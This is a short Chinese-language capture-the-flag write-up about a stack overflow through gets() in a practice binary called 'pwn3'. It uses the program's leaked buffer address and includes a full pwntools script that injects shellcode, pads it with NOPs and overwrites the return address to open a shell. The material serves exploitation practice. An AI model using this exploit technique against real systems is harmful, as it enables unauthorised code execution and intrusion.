思路
- 首先看到主函數(shù),提示沒有print_flag函數(shù)可以用了,要自己寫shellcode,看到調(diào)用echo函數(shù),在echo函數(shù)可以看見gets,再次的知道溢出點(diǎn)在此,因此我們可以使該處溢出,從而控制程序流。通過查看棧,可以看出s的大小在0xee,但為了使程序流走向我們想要的位置,還需要覆蓋多0x4,一共覆蓋0xf2大小的空間
- 但問題是我們?nèi)绾稳绾螛?gòu)建一個(gè)類似函數(shù)的東西,要有函數(shù)的地址,內(nèi)部空間存有我們的shelllcode,因此,我們還要關(guān)注到在調(diào)用gets前,程序還輸出了s所在的地址。

echo.png
- 因此我們可以獲取s的地址并把shellcode也當(dāng)作覆蓋地址的第一部分代碼,在最后函數(shù)返回地址處覆蓋為s的地址,使得程序回到s的開頭,同時(shí)也是我們shellcode所在的地方,從而執(zhí)行shellcode
from pwn import*
context.log_level = 'debug'
shellcode = asm(shellcraft.sh())
io=process('./pwn3')
io.recvuntil('Your random number ')
text=io.recvline()[2:10]
print text
b_addr= int(text,16)
payload = shellcode + '\x90'* (0xf2 - len(shellcode)) +p32(b_addr)
io.recvuntil('Now what should I echo? ')
io.send(payload)
io.interactive()
io.close()